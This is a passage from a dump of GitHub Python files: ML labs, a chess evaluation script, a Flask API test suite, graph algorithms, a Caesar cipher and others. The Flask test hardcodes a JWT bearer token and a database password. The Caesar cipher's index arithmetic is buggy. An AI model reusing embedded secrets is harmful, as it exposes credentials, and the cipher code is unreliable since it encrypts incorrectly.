img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"hingjae/image-processing","sub_path":"yolo/object_detection.py","file_name":"object_detection.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30179019271","text":"# Github : https://github.com/hunkim/DeepLearningZeroToAll/blob/master/lab-05-1-logistic_regression.py\nimport tensorflow as tf\n\nx_data = [[1, 2], [2, 3], [3, 1], [4, 3], [5, 3], [6, 2]]\ny_data = [[0], [0], [0], [1], [1], [1]]\n\nX = tf.placeholder(tf.float32, shape=[None, 2]) #x_data 정의\nY = tf.placeholder(tf.float32, shape=[None, 1]) #y_data 정의\nW = tf.Variable(tf.random_normal([2, 1]), name='weight') #앞 : 입력 파라미터 개수(x_data) / 뒤 : 출력 파라미터 개수(y_data)\nb = tf.Variable(tf.random_normal([1]), name='bias')\n\n# Hypothesis using sigmoid: tf.div(1., 1. + tf.exp(tf.matmul(X, W)))\nhypothesis = tf.sigmoid(tf.matmul(X, W) + b)\n\n# Cost Function\ncost = -tf.reduce_mean(Y * tf.log(hypothesis) + (1 - Y)*tf.log(1 - hypothesis))\ntrain = tf.train.GradientDescentOptimizer(learning_rate = 0.01).minimize(cost) # learning_rate = alpha\n\n# Accuracy computation\npredicted = tf.cast(hypothesis > 0.5, dtype = tf.float32)\naccuracy = tf.reduce_mean(tf.cast(tf.equal(predicted, Y), dtype=tf.float32))\n\n# Launch graph\nwith tf.Session() as sess:\n  sess.run(tf.global_variables_initializer())\n\n  for step in range(10001):\n    cost_val, _ = sess.run([cost, train], feed_dict={X:  x_data, Y: y_data})\n    if step % 200 == 0:\n      print(step, cost_val)\n\n  h, c, a = sess.run([hypothesis, predicted, accuracy],\n    feed_dict={X: x_data, Y: y_data})\n  print(\"\\nHypothesis: \", \"\\nCorrect (Y): \", c, \"\\nAccuracy: \", a)","repo_name":"JWWon/ML_Study","sub_path":"SOCC/socc_week_3_lec5.py","file_name":"socc_week_3_lec5.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36503042328","text":"import random\n\nimport matplotlib.pyplot as plt\nimport chess\nfrom reconchess import WinReason\n\nfrom bots.blindchess.play import DelegatingAgentManager\nfrom bots.blindchess.play import play_local_game_batched\nfrom bots.blindchess.agent import RandomBot\nfrom bots.blindchess.utilities import capture_proxy_reward, move_proxy_reward, sense_proxy_reward\n\n\ndef random_agent_factory(*args, **kwargs):\n    return RandomBot(\n        capture_proxy_reward,\n        move_proxy_reward,\n        sense_proxy_reward,\n        *args,\n        **kwargs\n    )\n\n\nbatch_size = 128\nsample_number = 1024\nsample_sizes = [2 ** x for x in range(5, 10)]\n\n\nrandom_agent_manager = DelegatingAgentManager(random_agent_factory)\n\ndata = []\nfor sample_size in sample_sizes:\n    print(f\"Testing sample size {sample_size}...\")\n    game_results = play_local_game_batched(\n        # train_agent_manager,\n        random_agent_manager,\n        random_agent_manager,\n        total_number=sample_size * 4,\n        batch_size=batch_size\n    )\n\n    finished_games = [r for r in game_results if r[1] == WinReason.KING_CAPTURE]\n    wins = [int(r[0] == chess.WHITE) for r in finished_games]\n\n    samples = [sum(random.sample(wins, sample_size)) / sample_size for _ in range(sample_number)]\n    data.append(samples)\n\nfig, ax = plt.subplots()\nax.boxplot(data)\nax.set_xticklabels(list(map(str, sample_sizes)))\nax.set_ylim([-0.2, 1.2])\n\nplt.show()\n","repo_name":"lefarov/MCTSpy","sub_path":"notebooks/blindchess_eval_winrate_variance.py","file_name":"blindchess_eval_winrate_variance.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"22408144579","text":"\nimport os\nimport unittest\nimport json\nfrom flask_sqlalchemy import SQLAlchemy\nfrom models import setup_db, Movie, Actor, db_drop_and_create_all\nfrom app import create_app\n\n\nclass CapstoneTestCase(unittest.TestCase):\n\n    def setUp(self):\n        self.app = create_app()\n        self.client = self.app.test_client\n        self.database_name = \"trivia_test\"\n        self.database_path = \"postgresql://{}/{}\".format(\n            'postgres:password@localhost:5432', 'capstone_test')\n\n        setup_db(self.app, self.database_path)\n\n        db_drop_and_create_all()\n\n        with self.app.app_context():\n            self.db = SQLAlchemy()\n            self.db.init_app(self.app)\n            # create all tables\n            self.db.create_all()\n\n        self.new_actor = Actor(\n            id=25,\n            name=\"test actor\",\n            age=32,\n            gender=\"Male\"\n        )\n\n        self.new_movie = Movie(\n            id=25,\n            title=\"test movie\",\n            release_date='2020-01-01'\n        )\n\n        self.new_actor_json = {\n            \"name\": \"test actor post\",\n            \"age\": 27,\n            \"gender\": \"Female\"\n        }\n\n        self.new_movie_json = {\n            \"title\": \"test movie post\",\n            \"release_date\": '2020-02-01'\n        }\n\n        first_movie = Movie(\n            title=\"first movie\",\n            release_date='2020-01-01')\n\n        first_actor = Actor(\n            name=\"first actor\",\n            age=32,\n            gender=\"Male\"\n        )\n\n        first_movie.insert()\n        first_actor.insert()\n\n        executive_producer_token = \"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZ\"\\\n            \"CI6Imh3VXZlWTVFTl9ndExXNzV5dXNfeCJ9.eyJpc3MiOiJodHRwczovL2Rldi15\"\\\n            \"OTZ5NWc3ci5ldS5hdXRoMC5jb20vIiwic3ViIjoiYXV0aDB8NWYzNmI4YTk0ZWU1\"\\\n            \"MDMwMDZkNjc3NWJlIiwiYXVkIjoibW92aWUiLCJpYXQiOjE1OTc1Mjk1MTQsImV4\"\\\n            \"cCI6MTU5NzYxNTkxNCwiYXpwIjoidlZ5Szk3M3pudHIybU5jU2drb1VjcWN4YXl1\"\\\n            \"ZUZpR1oiLCJzY29wZSI6IiIsInBlcm1pc3Npb25zIjpbImRlbGV0ZTphY3RvcnMi\"\\\n            \"LCJkZWxldGU6bW92aWVzIiwiZ2V0OmFjdG9ycyIsImdldDptb3ZpZXMiLCJwYXRj\"\\\n            \"aDphY3RvcnMiLCJwYXRjaDptb3ZpZXMiLCJwb3N0OmFjdG9ycyIsInBvc3Q6bW92\"\\\n            \"aWVzIl19.oBdt6_0qM6spXDnuwIxMNjf7BFNxlcuatxgwaVwOfhxaSCxCF2GHWPO\"\\\n            \"dKK2N0hSaQeGvryWbVA9A8i6ggf81u5fSDGy-B7_nxSJcRehO3DyQLVMQNdpcML4\"\\\n            \"mPm9TnShRMmg0nbuy01B6Q5eczvS_gc4npzPVMzsLmJCOWXvIw51jWtn4kCu_1DV\"\\\n            \"rRP1t53ZB1OpKJPV85sp-z7XM8mNfXqlbZmzaI0W2p11nnQqDPRYN64m6f8dE5PQ\"\\\n            \"p1dvDHsCq2miPayCKaCkhoDcUcVYgTz9yiz_GK6GiA52Uk3sJ1-UOggU8tGHhUEj\"\\\n            \"wdcstCG3v8ni_acij_Tar9wAVjKPeVQ\"\n\n        self.executive_producer_header = {\n            \"Authorization\": \"Bearer \" + executive_producer_token\n        }\n\n    def tearDown(self):\n        \"\"\"Executed after reach test\"\"\"\n        pass\n\n    # GET endpoint tests\n\n    def test_get_actors(self):\n        res = self.client().get('/actors',\n                                headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(len(data['actors']))\n        self.assertTrue(data['actors'])\n\n    def test_get_actors_with_invalid_endpoint(self):\n        res = self.client().get('/actors/2',\n                                headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 405)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'Method Not Allowed')\n\n    def test_get_movies(self):\n        res = self.client().get('/movies',\n                                headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(len(data['movies']))\n        self.assertTrue(data['movies'])\n\n    def test_get_movies_with_invalid_endpoint(self):\n        res = self.client().get('/movies/2',\n                                headers=self.executive_producer_header)\n\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 405)\n        self.assertEqual(data['success'], False)\n        self.assertEqual(data['message'], 'Method Not Allowed')\n\n    # DELETE endpoint tests\n\n    def test_delete_actor(self):\n        self.new_actor.insert()\n\n        res = self.client().delete('/actors/25',\n                                   headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(data[\"actor\"])\n\n    def test_delete_actor_that_does_not_exist(self):\n        res = self.client().delete('/actors/1000',\n                                   headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 404)\n        self.assertEqual(data['success'], False)\n        self.assertTrue(data[\"message\"], \"Resource Not Found\")\n\n    def test_delete_movie(self):\n        self.new_movie.insert()\n\n        res = self.client().delete('/movies/25',\n                                   headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(data[\"movie\"])\n\n    def test_delete_movie_that_does_not_exist(self):\n        res = self.client().delete('/movies/1000',\n                                   headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 404)\n        self.assertEqual(data['success'], False)\n        self.assertTrue(data[\"message\"], \"Resource Not Found\")\n\n    # POST endpoint tests\n\n    def test_post_movie(self):\n        res = self.client().post('/movies', json=self.new_movie_json,\n                                 headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(data[\"new_movie\"])\n\n    def test_405_if_post_movie_not_allowed(self):\n        res = self.client().post('/movies/1231', json=self.new_movie_json,\n                                 headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 405)\n        self.assertEqual(data['success'], False)\n        self.assertTrue(data[\"message\"], \"Method Not Allowed\")\n\n    def test_post_actor(self):\n        res = self.client().post('/actors', json=self.new_actor_json,\n                                 headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(data[\"new_actor\"])\n\n    def test_405_if_post_actor_not_allowed(self):\n        res = self.client().post('/actors/1231', json=self.new_actor_json,\n                                 headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 405)\n        self.assertEqual(data['success'], False)\n        self.assertTrue(data[\"message\"], \"Method Not Allowed\")\n\n    # PATCH endpoint tests\n\n    def test_patch_movie(self):\n        self.new_movie.insert()\n        patch_movie = {\"title\": \"updated title\"}\n        res = self.client().patch('/movies/25', json=patch_movie,\n                                  headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(data['movie'])\n        self.assertEqual(data['movie']['title'], \"updated title\")\n\n    def test_405_if_patch_movie_not_allowed(self):\n        self.new_movie.insert()\n        patch_movie = {\"title\": \"updated title\"}\n        res = self.client().patch('/movies', json=patch_movie,\n                                  headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 405)\n        self.assertEqual(data['success'], False)\n        self.assertTrue(data[\"message\"], \"Method Not Allowed\")\n\n    def test_patch_actor(self):\n        self.new_actor.insert()\n        patch_actor = {\"name\": \"bob\"}\n        res = self.client().patch('/actors/25', json=patch_actor,\n                                  headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 200)\n        self.assertEqual(data['success'], True)\n        self.assertTrue(data['actor'])\n        self.assertEqual(data['actor']['name'], \"bob\")\n\n    def test_405_if_patch_actor_without_id_not_allowed(self):\n        self.new_actor.insert()\n        patch_actor = {\"name\": \"bob\"}\n        res = self.client().patch('/actors', json=patch_actor,\n                                  headers=self.executive_producer_header)\n        data = json.loads(res.data)\n\n        self.assertEqual(res.status_code, 405)\n        self.assertEqual(data['success'], False)\n        self.assertTrue(data[\"message\"], \"Method Not Allowed\")\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"Hiraeth11/capstone","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":9316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6367187526","text":"import os\nimport sys\nimport glob\n\nimport numpy as np\nimport tensorflow as tf\nimport scipy\nimport scipy.io\nimport keras\nfrom keras.models import Model, Sequential\nfrom keras.layers import *\nfrom keras.optimizers import Adam\nfrom keras import regularizers\nfrom keras import backend as K\nfrom keras.utils import to_categorical\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import LearningRateScheduler\n\nfrom Benchmark import Benchmark\nfrom Config import MODEL_PARAMS_DIR\n\n\n\nclass AlexNet(Benchmark):\n\n    def data_preprocess(self):\n        X_train, y_train = None, None\n        \n        X_test = np.fromfile(MODEL_PARAMS_DIR + '/alexnet_imagenet/test_input.bin', dtype=np.float32)\n        X_test = X_test.reshape((-1, 3, 224, 224)) \n        y_test = np.fromfile(MODEL_PARAMS_DIR + '/alexnet_imagenet/test_labels.bin', dtype=np.uint32)\n        \n        X_tuner = np.fromfile(MODEL_PARAMS_DIR + '/alexnet_imagenet/tune_input.bin', dtype=np.float32)\n        X_tuner = X_tuner.reshape((-1, 3, 224, 224)) \n        y_tuner = np.fromfile(MODEL_PARAMS_DIR + '/alexnet_imagenet/tune_labels.bin', dtype=np.uint32)\n \n        return X_train, y_train, X_test, y_test, X_tuner, y_tuner\n    \n    \n    def buildModel(self):\n\n        input_layer = Input((3, 224, 224))\n\n        x = ZeroPadding2D((2, 2))(input_layer)\n        x = Conv2D(64, (11, 11), strides=4, padding='valid')(x)\n        x = Activation('relu')(x)\n        x = MaxPooling2D(3, 2)(x)\n\n        x = ZeroPadding2D((2, 2))(x)\n        x = Conv2D(192, (5, 5), padding='valid')(x)\n        x = Activation('relu')(x)\n        x = MaxPooling2D(3, 2)(x)\n\n        x = Conv2D(384, (3, 3), padding='same')(x)\n        x = Activation('relu')(x)\n\n        x = Conv2D(256, (3, 3), padding='same')(x)\n        x = Activation('relu')(x)\n\n        x = Conv2D(256, (3, 3), padding='same')(x)\n        x = Activation('relu')(x)\n\n        x = MaxPooling2D(3, 2)(x)\n\n        x = Flatten()(x)\n        x = Dropout(0.5)(x)\n        x = Dense(4096)(x)\n        x = Activation('relu')(x)\n        x = Dropout(0.5)(x)\n        x = Dense(4096)(x) \n        x = Activation('relu')(x)\n        x = Dense(self.num_classes)(x)\n        x = Activation('softmax')(x)\n        \n        model = Model(input_layer, x)\n\n        return model\n\n\n    def trainModel(self, model, X_train, y_train, X_test, y_test):\n\n        assert False, \"ImageNet training not supported - use Pretrained weights\"\n\n\n    \nif __name__ == '__main__':\n\n      \n    os.environ['CUDA_VISIBLE_DEVICES'] = '0'\n    # Changing to NCHW format\n    K.set_image_data_format('channels_first')\n\n\n    ### Parameters specific to each benchmark\n    reload_dir = MODEL_PARAMS_DIR + '/alexnet_imagenet/'\n    keras_model_file = MODEL_PARAMS_DIR + '/keras/alexnet_imagenet.h5'\n    data_dir = 'data/alexnet_imagenet/' \n    src_dir = 'src/alexnet_imagenet_src/'\n    num_classes = 1000\n    batch_size = 50\n\n    AlexNet = AlexNet('AlexNet_Imagenet', reload_dir, keras_model_file, data_dir, src_dir, num_classes, batch_size)\n    \n    AlexNet.exportToHPVM(sys.argv)\n\n\n    \n","repo_name":"vzyrianov/hpvm-autograd","sub_path":"hpvm/test/dnn_benchmarks/keras/alexnet_imagenet.py","file_name":"alexnet_imagenet.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16439128640","text":"import csv\n\nimport matplotlib.pyplot as plt\nimport pysailing as psl\nimport numpy as np\n\nfrom plotting import *\n\n\nGET_PARAMS_NAME = lambda boat: f'{boat}.csv'\nPARAMS_FOLDER = \".work/sailboats\"\n\nBOAT = \"Avance 24\"\n\nMIN_ANGLE = 0.1\n\nWIND_COURSE_ANGLE = 8\nWIND_KNOTS_SPEED = 11\n\nDISPLAY_LEVELS = 50\n\n\ndef plot_polar_velocities(axis, parameters: psl.VelocityParameters):\n\n    degrees = np.linspace(0, np.pi * 2)\n\n    for (v, c) in zip(range(0, 21, 2), rnd_colors()):\n        knots = parameters.getv(degrees, v)\n        axis.plot(degrees, knots, color=c, label=f'{v} knots')\n\n    axis.set_theta_zero_location(\"N\")\n    axis.legend(ncol=3).set_draggable(True)\n\n    axis.set_title(f\"BOAT: {BOAT}\\n\")\n\n\ndef plot_angeling_contourf(figure, axis, angleler: psl.AnglesComputer, entrance):\n\n    d, r, t, best = angleler.scores(WIND_COURSE_ANGLE, WIND_KNOTS_SPEED, min_angle=MIN_ANGLE, entrance=entrance)\n\n    levels = [best[-1] * num / 10 for num in range(10, DISPLAY_LEVELS)]\n    cf = axis.contourf(d, r, t, levels=levels, cmap='YlGnBu')\n\n    axis.set_xlabel(\"dep\")\n    axis.set_ylabel(\"ret\")\n\n    if entrance == 'right':\n        figure.colorbar(cf, ax=axis, location='right')\n    else:\n        axis.yaxis.set_label_position('right')\n        axis.yaxis.tick_right()\n        figure.colorbar(cf, ax=axis, location='left')\n\n    axis.set_title(f\"CONDITIONS\\n\"\n                   f\"Wind: {WIND_COURSE_ANGLE} deg, {WIND_KNOTS_SPEED} knots\\n\"\n                   f\"BEST AT {entrance.upper()} ENTRANCE\\n\"\n                   f\"Entrance: {round(best[0], 3)} deg, Angle: {round(best[1], 3)}, Score: {round(best[-1], 3)}\")\n\n\ndef main():\n\n    params: psl.VelocityParameters\n\n    with open(f\"{PARAMS_FOLDER}/{GET_PARAMS_NAME(BOAT)}\") as file:\n        measurements = psl.VelocityMeasurements.from_csv(csv.reader(file, delimiter=';'))\n        params = psl.VelocityParameters(measurements)\n        computer = psl.AnglesComputer(params)\n\n    fig = plt.figure()\n    gs = plt.GridSpec(1, 3)\n\n    ax1 = fig.add_subplot(gs[0, 0])\n    ax2 = fig.add_subplot(gs[0, 1], projection='polar')\n    ax3 = fig.add_subplot(gs[0, 2])\n\n    plot_polar_velocities(ax2, params)\n    plot_angeling_contourf(fig, ax1, computer, 'left')\n    plot_angeling_contourf(fig, ax3, computer, 'right')\n\n    fig.subplots_adjust(left=0.03, right=0.97, wspace=0.25)\n    plt.show()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Rutovol82/Study.SV.OperationsResearch","sub_path":"project/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43812477183","text":"from collections import deque\n\ndef dfs(k):\n\n    visited_dfs[k] = True\n    print(k, end=' ')\n\n    for i in range(1, n + 1):\n        if not visited_dfs[i] and graph[k][i]:\n            dfs(i)\n\ndef bfs(k):\n    q = deque()\n    q.append(k)\n    visited_bfs[k] = True\n\n    while q:\n        v = q.popleft()\n        print(v, end=' ')\n\n        for i in range(1, n+1):\n            if not visited_bfs[i] and graph[v][i]:\n                q.append(i)\n                visited_bfs[i] = True\n\nn, m, k = map(int , input().split())\ngraph = [[False] * (n + 1) for _ in range(n + 1)]\n\nfor _ in range(m):\n    a, b = map(int, input().split())\n    graph[a][b] = graph[b][a] = True\n\nvisited_dfs = [False for _ in range(n+1)]\nvisited_bfs = [False for _ in range(n+1)]\n\ndfs(k)\nprint()\nbfs(k)","repo_name":"KDT2-Algorithm-study/Algorithm-study","sub_path":"백준/1260/1260_노현석.py","file_name":"1260_노현석.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"4389348967","text":"import mutagen\nfrom pydub import AudioSegment\nfrom utils.music_data_fetcher import *\nfrom utils.songs.Song import Song\nfrom werkzeug.utils import secure_filename\n\nfrom utils.timestamp import get_timestamp_loop, get_timestamp\n\n\ndef create_song_from_metadata(song, filename):\n    artist = song.get('artist')\n    title = song.get('title')\n    album = song.get('album')\n    length = song.info.length\n    mime = song.mime.pop(0)\n    mime = mime.split(\"/\")[1]\n    # Create flo_song object\n    return Song(artist, album, title, mime, filename, length)\n\n\ndef add_fetched_acoustic_brainz_info(flo_song, acoustic_brainz_info):\n    rhythm_data = acoustic_brainz_info.get(\"rhythm\")\n    low_level_data = acoustic_brainz_info.get(\"lowlevel\")\n    flo_song.bpm = round(rhythm_data.get(\"bpm\"), 1)\n    flo_song.danceability = rhythm_data.get(\"danceability\")\n    flo_song.loudness = low_level_data.get(\"average_loudness\")\n    flo_song.dynamic_complexity = low_level_data.get(\"dynamic_complexity\")\n    return flo_song\n\n\nclass SongClassifier:\n    _song_list = dict()\n    _save_location = \"./uploaded_files/{}/{}\"\n\n    def __init__(self, song_list=dict()):\n        self._song_list = song_list\n\n    def deconstruct_songs(self, song_list, request_id):\n        self.song_list[str(request_id)] = []\n        for file in song_list:\n            # Saves song onto server\n            filename, filename_wav = self.save_song(file, request_id)\n            # mutagen retrieves the metadata\n            song = mutagen.File(filename, easy=True)\n            flo_song = create_song_from_metadata(song, filename_wav)\n            music_brainz_id = find_music_brainz_id_by_recording(flo_song)\n            acoustic_brainz_low_info = get_acoustic_brainz_data(music_brainz_id, level=\"low-level\")\n            flo_song.music_brainz_id = music_brainz_id\n            flo_song = add_fetched_acoustic_brainz_info(flo_song, acoustic_brainz_low_info)\n            # Default set to crossfade until we implement the ML model that determines transitions\n            #flo_song.transition = Tempo()\n            self.song_list[str(request_id)].append(flo_song)\n\n    def save_song(self, file, request_id):\n        save_location = self._save_location.format(request_id, secure_filename(file.filename))\n        file.save(save_location)\n        my_mutagen = mutagen.File(save_location, easy=True)\n        mime = my_mutagen.mime.pop(0)\n        mime = mime.split(\"/\")[1]\n        song_wav = AudioSegment.from_file(save_location, mime)\n        filename = file.filename.split(\".\")\n        filename = \"{}.{}\".format(filename[0], \"wav\")\n        save_location_wav = self._save_location.format(request_id, secure_filename(filename))\n        song_wav.export(save_location_wav, format=\"wav\")\n        return save_location, save_location_wav\n\n    @property\n    def song_list(self):\n        return self._song_list\n\n    @song_list.setter\n    def song_list(self, song_list):\n        self._song_list = song_list\n","repo_name":"4OI6Capstone/Flo","sub_path":"utils/songs/SongClassifier.py","file_name":"SongClassifier.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17149474346","text":"import csv\n\nimport networkx\nimport numpy as np\nimport tsplib95\n\n\ndef read_config():\n    parameters = []\n    file = open(\"config.ini\", \"r\")\n    file_lines = file.read().splitlines()\n\n    for line in file_lines:\n        instance_parameters = line.split(',')\n        parameters.append(instance_parameters)\n\n    return parameters\n\n\ndef read_instance_format_tsp(file_name) -> np.matrix:\n    problem = tsplib95.load(\"instances/\" + file_name)\n\n    graph = problem.get_graph()\n\n    distance_matrix = networkx.to_numpy_array(graph)\n\n    return distance_matrix\n\n\ndef write_to_csv(file_name, results):\n    with open(file_name, 'w', newline='') as file:\n        writer = csv.writer(file)\n        writer.writerows(results)\n","repo_name":"zwir001/AntColonyOptimalization","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31842176244","text":"import os\nimport argparse\n\nfrom PIL import Image\nimport numpy as np\n\nfrom utils.metrics import iou_stats\n\n\nparser = argparse.ArgumentParser(\n  description='Benchmark segmentation predictions'\n)\nparser.add_argument('--pred-dir', type=str, default='',\n                    help='/path/to/prediction.')\nparser.add_argument('--gt-dir', type=str, default='',\n                    help='/path/to/ground-truths')\nparser.add_argument('--num-classes', type=int, default=21,\n                    help='number of segmentation classes')\nparser.add_argument('--string-replace', type=str, default=',',\n                    help='replace the first string with the second one')\nargs = parser.parse_args()\n\n\nassert(os.path.isdir(args.pred_dir))\nassert(os.path.isdir(args.gt_dir))\ntp_fn = np.zeros(args.num_classes, dtype=np.float64)\ntp_fp = np.zeros(args.num_classes, dtype=np.float64)\ntp = np.zeros(args.num_classes, dtype=np.float64)\nfor dirpath, dirnames, filenames in os.walk(args.pred_dir):\n  for filename in filenames:\n    predname = os.path.join(dirpath, filename)\n    gtname = predname.replace(args.pred_dir, args.gt_dir)\n    if args.string_replace != '':\n      stra, strb = args.string_replace.split(',')\n      gtname = gtname.replace(stra, strb)\n\n    pred = np.asarray(\n        Image.open(predname).convert(mode='L'),\n        dtype=np.uint8)\n    gt = np.asarray(\n        Image.open(gtname).convert(mode='L'),\n        dtype=np.uint8)\n    _tp_fn, _tp_fp, _tp = iou_stats(\n        pred,\n        gt,\n        num_classes=args.num_classes,\n        background=0)\n\n    tp_fn += _tp_fn\n    tp_fp += _tp_fp\n    tp += _tp\n\niou = tp / (tp_fn + tp_fp - tp + 1e-12) * 100.0\n\nclass_names = ['Background', 'Aero', 'Bike', 'Bird', 'Boat',\n               'Bottle', 'Bus', 'Car', 'Cat', 'Chair','Cow',\n               'Table', 'Dog', 'Horse' ,'MBike', 'Person',\n               'Plant', 'Sheep', 'Sofa', 'Train', 'TV']\n\nfor i in range(args.num_classes):\n  print('class {:10s}: {:02d}, acc: {:4.4f}%'.format(\n      class_names[i], i, iou[i]))\nmean_iou = iou.sum() / args.num_classes\nprint('mean IOU: {:4.4f}%'.format(mean_iou))\n\nmean_pixel_acc = tp.sum() / (tp_fp.sum() + 1e-12)\nprint('mean Pixel Acc: {:4.4f}%'.format(mean_pixel_acc))\n","repo_name":"twke18/Adaptive_Affinity_Fields","sub_path":"pyscripts/benchmark/benchmark_by_mIoU.py","file_name":"benchmark_by_mIoU.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","stars":260,"dataset":"github-code","pt":"3"}
+{"seq_id":"2971764616","text":"\nINF = 9e9\n\nclass Edge:\n\n    def __init__(self, frm, to, dist):\n\n        self.from_vertex = frm\n        self.to_vertex = to\n        self.weight = dist\n\ndef _get_edges(graph):\n\n    edges = []\n\n    for a in range(len(graph)):\n\n        for b in range(len(graph)):\n\n            if graph[a][b]:\n\n                edges.append(Edge(a, b, graph[a][b]))\n\n    return edges\n\ndef _relax(edge, dists):\n\n    a, b = edge.from_vertex, edge.to_vertex\n\n    new_weight = dists[a] + edge.weight\n\n    if dists[a] != INF and new_weight < dists[b]:\n\n        dists[b] = new_weight\n\n        return True\n\n    return False\n\ndef print_distances(graph, from_vertex):\n\n    n = len(graph)\n\n    edges = _get_edges(graph)\n\n    dists = [ INF ] * n\n\n    dists[from_vertex] = 0\n\n    for _ in range(n - 1):\n\n        for edge in edges:\n\n            _relax(edge, dists)\n\n    for edge in edges:\n\n        if _relax(edge, dists):\n\n            raise Exception('Graph contains negative cycle.')\n\n    for i in range(n):\n\n        print(f'{i} {dists[i]}')\n\ndef main():\n\n    graph = [\n        [0, -1, 4,  0, 0],\n        [0,  0, 3,  2, 2],\n        [0,  0, 0,  0, 0],\n        [0,  1, 5,  0, 0],\n        [0,  0, 0, -3, 0]\n    ]\n\n    print_distances(graph, 0)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"sshh12/SchoolCode","sub_path":"Algorithms/Graphs/BellmanFord.py","file_name":"BellmanFord.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"14413378410","text":"alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',\n             'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', \n             'v', 'w', 'x', 'y', 'z']\n\n\ndef caesar(text, shift, direction):\n    word = ''\n    if direction == 'decode':\n            shift *= -1\n    for letter in text:\n        if letter in alphabet:\n            idx = alphabet.index(letter)\n            new_index = idx + shift\n            new_index = new_index % 25 - 1\n            word += alphabet[new_index]\n        else:\n             word += letter\n    print(f\"The {direction}d text is {word}\")\n\nfrom art import logo\nprint(logo)\n\nshould_end = False\nwhile not should_end:\n    direction = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\")\n    text = input(\"Type your message:\\n\").lower()\n    shift = int(input(\"Type the shift number:\\n\"))\n    caesar(text, shift, direction)\n    result = input(\"Type 'yes' if you want to go again, type 'no' otherwise.\\n\")\n    if result == 'no':\n         should_end = False\n\n","repo_name":"xMayble/caesar_proj","sub_path":"caesar_cipher.py","file_name":"caesar_cipher.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5769082173","text":"from .serializer import UniversitySerializer, FacultySerializer, ChairSerializer, GroupSerializer, TeacherSerializer, StudentSerializer\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom .models import *\nfrom rest_framework.exceptions import NotFound\nfrom . import servise\n\n\nclass UniversityView(GenericAPIView):\n    serializer_class = UniversitySerializer\n\n    def get_object(self, *args, **kwargs):\n        try:\n            university = University.objects.get(id=kwargs['pk'])\n        except Exception as e:\n            raise NotFound\n        return university\n\n    def get(self, request, pk=None):\n        if pk:\n            univ = servise.get_university(univ_id=pk)\n            if not univ:\n                raise NotFound('University not found')\n            return Response(univ, status=status.HTTP_200_OK)\n        else:\n            univs = servise.get_universitys()\n            return Response(univs, status=status.HTTP_200_OK)\n\n    def post(self, 